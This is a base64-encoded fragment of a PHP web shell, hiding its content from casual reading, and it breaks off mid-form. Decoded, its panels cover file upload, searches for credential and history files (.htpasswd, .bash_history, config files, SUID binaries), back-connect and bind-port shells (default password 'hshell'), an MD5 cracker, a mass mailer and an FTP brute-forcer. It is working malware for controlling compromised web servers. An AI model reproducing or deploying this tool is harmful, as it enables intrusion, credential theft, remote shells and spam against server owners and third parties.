49Mj4NCjxpbnB1dCB0eXBlPWZpbGUgbmFtZT0idXNlcmZpbGUiIHNpemU9Mjg+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvZm9ybT4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPTUwJT4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIHZhbGlnbj10b3AgY2xhc3M9J3RkMic+DQo8dHI+PHRkPg0KPGI+Ljo6QWxpYXM6Oi48L2I+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nYnQnIHZhbHVlPSJSVU4iPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InR5cGUiIHZhbHVlPTc+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIGNvbHNwYW49Mj4NCjxzZWxlY3QgbmFtZT0ndmFsdWUnIGNsYXNzPSd0YScgd2lkdGg9MjAwPg0KPG9wdGlvbj5maW5kIGFwYWhjZSBjb25maWcgZmlsZTwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGFjY2Vzc19sb2cgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBlcnJvcl9sb2cgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBzdWlkIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIHNnaWQgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgY29uZmlnLmluYy5waHAgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGNvbmZpZyogZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGFuZCBmaWxlczwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGFsbCAuaHRwYXNzd2QgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlczwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBhbGwgLm15c3FsX2hpc3RvcnkgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCAubXlzcWxfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCjxvcHRpb24+bGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW08L29wdGlvbj4NCjxvcHRpb24+c2hvdyBvcGVuZWQgcG9ydHM8L29wdGlvbj4NCjxvcHRpb24+LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPC9vcHRpb24+DQo8L3NlbGVjdD4NCjwvdGQ+PC90cj4NCjwvdGFibGU+PC9mb3JtPjwvdGQ+DQo8c2NyaXB0Pg0KZnVuY3Rpb24gYmFzZTY0RW5jb2RlKHN0cikNCnsNCiAgdmFyIGNoYXJCYXNlNjQgPSBuZXcgQXJyYXkoDQogICAgJ0EnLCdCJywnQycsJ0QnLCdFJywnRicsJ0cnLCdIJywnSScsJ0onLCdLJywnTCcsJ00nLCdOJywnTycsJ1AnLA0KICAgICdRJywnUicsJ1MnLCdUJywnVScsJ1YnLCdXJywnWCcsJ1knLCdaJywnYScsJ2InLCdjJywnZCcsJ2UnLCdmJywNCiAgICAnZycsJ2gnLCdpJywnaicsJ2snLCdsJywnbScsJ24nLCdvJywncCcsJ3EnLCdyJywncycsJ3QnLCd1JywndicsDQogICAgJ3cnLCd4JywneScsJ3onLCcwJywnMScsJzInLCczJywnNCcsJzUnLCc2JywnNycsJzgnLCc5JywnKycsJy8nDQogICk7DQoNCiAgdmFyIG91dCA9ICIiOw0KICB2YXIgY2hyMSwgY2hyMiwgY2hyMzsNCiAgdmFyIGVuYzEsIGVuYzIsIGVuYzMsIGVuYzQ7DQogIHZhciBpID0gMDsNCg0KICB2YXIgbGVuID0gc3RyLmxlbmd0aDsNCg0KICBkbw0KICB7DQogICAgY2hyMSA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7DQogICAgY2hyMiA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7DQogICAgY2hyMyA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7DQoNCg0KICAgIGVuYzEgPSBjaHIxID4+IDI7DQogICAgZW5jMiA9ICgoY2hyMSAmIDB4MDMpIDw8IDQpIHwgKGNocjIgPj4gNCk7DQogICAgZW5jMyA9ICgoY2hyMiAmIDB4MEYpIDw8IDIpIHwgKGNocjMgPj4gNik7DQogICAgZW5jNCA9IGNocjMgJiAweDNGOw0KDQogICAgb3V0ICs9IGNoYXJCYXNlNjRbZW5jMV0gKyBjaGFyQmFzZTY0W2VuYzJdOw0KDQogICAgaWYgKGlzTmFOKGNocjIpKQ0KICAgICAgew0KICAgICAgb3V0ICs9ICc9PSc7DQogICAgfQ0KICAgICAgZWxzZSBpZiAoaXNOYU4oY2hyMykpDQogICAgICB7DQogICAgICBvdXQgKz0gY2hhckJhc2U2NFtlbmMzXSArICc9JzsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgIG91dCArPSBjaGFyQmFzZTY0W2VuYzNdICsgY2hhckJhc2U2NFtlbmM0XTsNCiAgICB9DQogIH0NCiAgd2hpbGUgKGkgPCBsZW4pOw0KDQogIHJldHVybiBvdXQ7DQp9DQoNCg0KZnVuY3Rpb24gYmFzZTY0RGVjb2RlKHN0cikNCnsNCiAgdmFyIGluZGV4QmFzZTY0ID0gbmV3IEFycmF5KA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsNjIsIC0xLC0xLC0xLDYzLA0KICAgIDUyLDUzLDU0LDU1LCA1Niw1Nyw1OCw1OSwgNjAsNjEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLCAwLCAxLCAyLCAgMywgNCwgNSwgNiwgIDcsIDgsIDksMTAsIDExLDEyLDEzLDE0LA0KICAgIDE1LDE2LDE3LDE4LCAxOSwyMCwyMSwyMiwgMjMsMjQsMjUsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLDI2LDI3LDI4LCAyOSwzMCwzMSwzMiwgMzMsMzQsMzUsMzYsIDM3LDM4LDM5LDQwLA0KICAgIDQxLDQyLDQzLDQ0LCA0NSw0Niw0Nyw0OCwgNDksNTAsNTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KICAgIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xDQogICk7DQoNCiAgdmFyIG91dCA9ICIiOw0KICB2YXIgY2hyMSwgY2hyMiwgY2hyMzsNCiAgdmFyIGVuYzEsIGVuYzIsIGVuYzMsIGVuYzQ7DQogIHZhciBpID0gMDsNCg0KDQogIHN0ciA9IHN0ci5yZXBsYWNlKC9eW15hLXpBLVowLTlcK1wvXD1dK3xbXmEtekEtWjAtOVwrXC9cPV0rJC9nLCIiKQ0KDQogIHZhciBsZW4gPSBzdHIubGVuZ3RoOw0KDQogIGRvDQogIHsNCiAgICBlbmMxID0gaW5kZXhCYXNlNjRbc3RyLmNoYXJDb2RlQXQoaSsrKV07DQogICAgZW5jMiA9IGluZGV4QmFzZTY0W3N0ci5jaGFyQ29kZUF0KGkrKyldOw0KICAgIGVuYzMgPSBpbmRleEJhc2U2NFtzdHIuY2hhckNvZGVBdChpKyspXTsNCiAgICBlbmM0ID0gaW5kZXhCYXNlNjRbc3RyLmNoYXJDb2RlQXQoaSsrKV07DQoNCiAgICBjaHIxID0gKGVuYzEgPDwgMikgfCAoZW5jMiA+PiA0KTsNCiAgICBjaHIyID0gKChlbmMyICYgMTUpIDw8IDQpIHwgKGVuYzMgPj4gMik7DQogICAgY2hyMyA9ICgoZW5jMyAmIDMpIDw8IDYpIHwgZW5jNDsNCg0KICAgIG91dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGNocjEpOw0KDQogICAgaWYgKGVuYzMgIT0gLTEpDQogICAgew0KICAgICAgb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyMik7DQogICAgfQ0KICAgIGlmIChlbmM0ICE9IC0xKQ0KICAgIHsNCiAgICAgIG91dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGNocjMpOw0KICAgIH0NCiAgfQ0KICB3aGlsZSAoaSA8IGxlbik7DQoNCiAgaWYgKGkgIT0gbGVuKQ0KICB7DQogICAgbmV3IEVycm9yKEJBU0U2NF9CUk9LRU4pOw0KICAgIHJldHVybiAiIjsNCiAgfQ0KDQogIHJldHVybiBvdXQ7DQp9DQoNCjwvc2NyaXB0Pg0KPHRkIHZhbGlnbj10b3AgYWxpZ249bGVmdCB3aWR0aD01MCU+DQo8Zm9ybSBhY3Rpb24gbWV0aG9kPVBPU1Q+DQo8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSB2YWxpZ249dG9wIGNsYXNzPSd0ZDInPg0KPHRyPjx0ZCB3aWR0aD0xJT4NCjxiPi46OkJhc2U2NF9lbmNvZGU6Oi48L2I+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodCB3aWR0aD02JT4NCjxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0iZW5jb2RlIiBjbGFzcz0nYnQnIG9uY2xpY2s9J3QudmFsdWU9YmFzZTY0RW5jb2RlKHQudmFsdWUpJz4gDQo8L3RkPg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPjx0ZCB3aWR0aD0xJT4NCjxiPi46OkJhc2U2NF9kZWNvZGU6Oi48L2I+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodCB3aWR0aD02JT4NCjxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0iZGVjb2RlIiBjbGFzcz0nYnQnIG9uY2xpY2s9J24udmFsdWU9YmFzZTY0RGVjb2RlKG4udmFsdWUpJz4gDQo8L3RkPjwvdHI+DQo8dHI+PHRkIGNvbHNwYW49Mj4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0ndCcgY2xhc3M9J3RhJyBzaXplPTM0Pg0KPC90ZD48dGQgY29sc3Bhbj0yPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSduJyBjbGFzcz0ndGEnIHNpemU9MzQ+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvZm9ybT4NCjwvdGQ+PC90cj4NCjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L3RkPjwvdHI+PHRyPjwvdHI+PHRyPjx0ZD4NCjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZD4NCjx0YWJsZSBjbGFzcz0ndGQxJyB3aWR0aD0yMjY+DQo8dHI+PHRkIHdpZHRoPTEwMCUgY2xhc3M9J3RkMic+DQo8Zm9ybSBhY3Rpb24gbWV0aG9kPVBPU1Q+DQo8dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPTkwJSBib3JkZXI9MD48dHI+PHRkIGNvbHNwYW49Mz4NCjxiPi46OkJhY2sgQ29ubmVjdDo6LjwvYj48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTEwMCUgaGVpZ2h0PTEwIGNvbHNwYW49Mz48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD48Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj48Yj5JUDo8L2I+PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9NSU+PC90ZD4NCjx0ZCB3aWR0aD0xMDAlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBjbGFzcz0ndGEnIG5hbWU9J2lwJyBzaXplPTE1IHZhbHVlPTw/cGhwIGVjaG8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Pz4+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0xMDAlIGhlaWdodD01IGNvbHNwYW49Mz48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD48Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5wb3J0OjwvZm9udD48L3RkPg0KPHRkIHdpZHRoPTUlPjwvdGQ+DQo8dGQgd2lkdGg9MTAwJSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgY2xhc3M9J3RhJyBuYW1lPSdwb3J0JyBzaXplPTEwIHZhbHVlPSc1MDAwJz48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTEwMCUgaGVpZ2h0PTUgY29sc3Bhbj0zPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPk1ldGhvZDo8L2ZvbnQ+PC90ZD4NCjx0ZCB3aWR0aD01JT48L3RkPg0KPHRkIHdpZHRoPTEwMCUgYWxpZ249cmlnaHQ+DQo8c2VsZWN0IGNsYXNzPSd0YScgbmFtZT0nbWV0aG9kJz4NCjxvcHRpb24+UGVybDwvb3B0aW9uPg0KPG9wdGlvbj5DIzwvb3B0aW9uPg0KPG9wdGlvbj4tLS0tLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4NCjwvc2VsZWN0PjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9NSBjb2xzcGFuPTM+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0xMDAlIGFsaWduPXJpZ2h0IGNvbHNwYW49Mz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSd0eXBlJyB2YWx1ZT0nMTInPg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDb25uZWN0JyBjbGFzcz0nYnQnPjwvZm9ybT4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9NSBjb2xzcGFuPTM+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L3RkPjx0ZCB3aWR0aD01PjwvdGQ+PHRkPg0KPHRhYmxlIGNsYXNzPSd0ZDEnIHdpZHRoPTIyNj4NCjx0cj48dGQgd2lkdGg9MTAwJSBjbGFzcz0ndGQyJz4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9OTAlIGJvcmRlcj0wPjx0cj48dGQgY29sc3Bhbj0zPg0KPGI+Ljo6QmluZCBwb3J0OjouPC9iPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9MTAgY29sc3Bhbj0zPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPjxiPlBvcnQ6PC9iPjwvZm9udD48L3RkPg0KPHRkIHdpZHRoPTUlPjwvdGQ+DQo8dGQgd2lkdGg9MTAwJSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgY2xhc3M9J3RhJyBuYW1lPSdwb3J0JyBzaXplPTE1IHZhbHVlPSc2MDAwJz48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTEwMCUgaGVpZ2h0PTUgY29sc3Bhbj0zPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPnBhc3M6PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9NSU+PC90ZD4NCjx0ZCB3aWR0aD0xMDAlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBjbGFzcz0ndGEnIG5hbWU9J3Bhc3MnIHNpemU9MTAgdmFsdWU9J2hzaGVsbCc+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0xMDAlIGhlaWdodD01IGNvbHNwYW49Mz48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD48Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5NZXRob2Q6PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9NSU+PC90ZD4NCjx0ZCB3aWR0aD0xMDAlIGFsaWduPXJpZ2h0Pg0KPHNlbGVjdCBjbGFzcz0ndGEnIG5hbWU9J21ldGhvZCc+DQo8b3B0aW9uPlBlcmw8L29wdGlvbj4NCjxvcHRpb24+QyM8L29wdGlvbj4NCjxvcHRpb24+LS0tLS0tLS0tLS0tLS0tLS0tLS0tPC9vcHRpb24+DQo8L3NlbGVjdD48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTEwMCUgaGVpZ2h0PTUgY29sc3Bhbj0zPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MTAwJSBhbGlnbj1yaWdodCBjb2xzcGFuPTM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ndHlwZScgdmFsdWU9JzEyJz4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQmluZCcgY2xhc3M9J2J0Jz48L2Zvcm0+DQo8dHI+PHRkIHdpZHRoPTEwMCUgaGVpZ2h0PTUgY29sc3Bhbj0zPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD48dGQgd2lkdGg9NT48L3RkPjx0ZCB3aWR0aD01MCUgaGVpZ2h0PTE0MT4NCjx0YWJsZSBjbGFzcz0ndGQxJyB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIHZhbGlnbj10b3A+PHRyPjx0ZCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGNsYXNzPSd0ZDInIHZhbGlnbj10b3A+DQo8dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPTk1JT48dHI+PHRkIGNvbHNwYW49ND4NCjxiPi46Om1kNSBicnV0ZXI6Oi48L2I+DQo8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9MTA+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yMD48L3RkPjx0ZD4NCjxmb250IHNpemU9MiBjb2xvcj0iIzg4ODg4OCIgYWxpZ249cmlnaHQ+PGI+aGFzaDo8L2I+PC9mb250PjwvdGQ+PHRkIHdpZHRoPTU+PC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2hhc2gnIGNsYXNzPSd0YScgc2l6ZT01MD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgaGVpZ2h0PTU+PC90ZD4NCjx0cj48dGQgd2lkdGg9MjA+PC90ZD48dGQ+DQo8Zm9udCBzaXplPTIgY29sb3I9IiM4ODg4ODgiIGFsaWduPXJpZ2h0PmxvZ19maWxlOjwvZm9udD48L3RkPjx0ZCB3aWR0aD01PjwvdGQ+PHRkIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsb2cnIGNsYXNzPSd0YScgc2l6ZT0zMCB2YWx1ZT0nbWQ1X2xvZy50eHQnPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCBoZWlnaHQ9NT48L3RkPg0KPHRyPjx0ZCB3aWR0aD0yMD48L3RkPjx0ZD4NCjxmb250IHNpemU9MiBjb2xvcj0iIzg4ODg4OCIgYWxpZ249cmlnaHQ+ZGljdGlvbmFyeV9maWxlOjwvZm9udD48L3RkPjx0ZCB3aWR0aD01PjwvdGQ+PHRkIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdkaWN0JyBjbGFzcz0ndGEnIHNpemU9MzAgdmFsdWU9J21kNV9kaWN0LnR4dCc+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIGhlaWdodD01PjwvdGQ+DQo8dHI+PHRkIHdpZHRoPTIwPjwvdGQ+PHRkPg0KPC90ZD48dGQgd2lkdGg9NT48L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nYnQnIHZhbHVlPSdTdGFydCBCcnV0ZSc+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD48L3RyPjwvdGFibGU+DQo8L3RkPjwvdHI+PC90YWJsZT4NCjx0cj48L3RyPjx0cj48dGQ+DQo8dGFibGUgY2xhc3M9J3RkMScgd2lkdGg9MTAwJSBoZWlnaHQ9MzEwIHZhbGlnbj10b3AgYWxpZ249bGVmdD4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgY2xhc3M9J3RkMicgd2lkdGg9MzMlPg0KPHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGNvbHNwYW49MyBoZWlnaHQ9MzA+DQo8Yj4uOjpTcGFtbWVyOjouPC9iPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj48Yj5lbWFpbHNfZmlsZTo8L2I+PC9mb250Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdlbGlzdCcgY2xhc3M9J3RhJyBzaXplPTE3IHZhbHVlPSJlbWFpbHMudHh0Ij4NCjwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD01PjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+PGI+bG9nX2ZpbGU6PC9iPjwvZm9udD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nbG9nJyBjbGFzcz0ndGEnIHNpemU9MTcgdmFsdWU9Im1haWxfbG9nLnR4dCI+DQo8L3RkPjwvdHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPkZyb206PC9mb250Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdmcm9tJyBjbGFzcz0ndGEnIHNpemU9Mjc+DQo8L3RkPjwvdHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPlN1YmplY3Q6PC9mb250Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdzdWJqZWN0JyBjbGFzcz0ndGEnIHNpemU9Mjc+DQo8L3RkPjwvdHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPk1lc3NhZ2U6PC9mb250Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPHRleHRhcmVhIG5hbWU9J21zZycgY2xhc3M9J3RhJyBjb2xzPTIwIHJvd3M9ND48L3RleHRhcmVhPg0KPC90ZD48L3RyPg0KPHRkIGhlaWdodD01Pjx0ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5DaGVjazxzdXA+Kjwvc3VwPjo8L2ZvbnQ+DQo8L3RkPjx0ZCB3aWR0aD02NSUgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2NoZWNrJyBjbGFzcz0ndGEnIHNpemU9Mjc+DQo8L3RkPjwvdHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nYnQnIHZhbHVlPSJTdGFydCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ndHlwZScgdmFsdWU9MTA+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvZm9ybT4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgY2xhc3M9J3RkMicgd2lkdGg9MzMlPg0KPHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPg0KPHRyPjx0ZCBjb2xzcGFuPTMgaGVpZ2h0PTMwIHZhbGlnbj10b3A+PGI+Ljo6RlRQLUJydXRlOjouPC9iPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MzElIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+PGI+SG9zdDo8L2I+PC9mb250Pg0KPC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2hvc3QnIGNsYXNzPSd0YScgc2l6ZT0yOD4NCjwvdGQ+PHRkIHdpZHRoPTUlPjwvdGQ+PC90cj48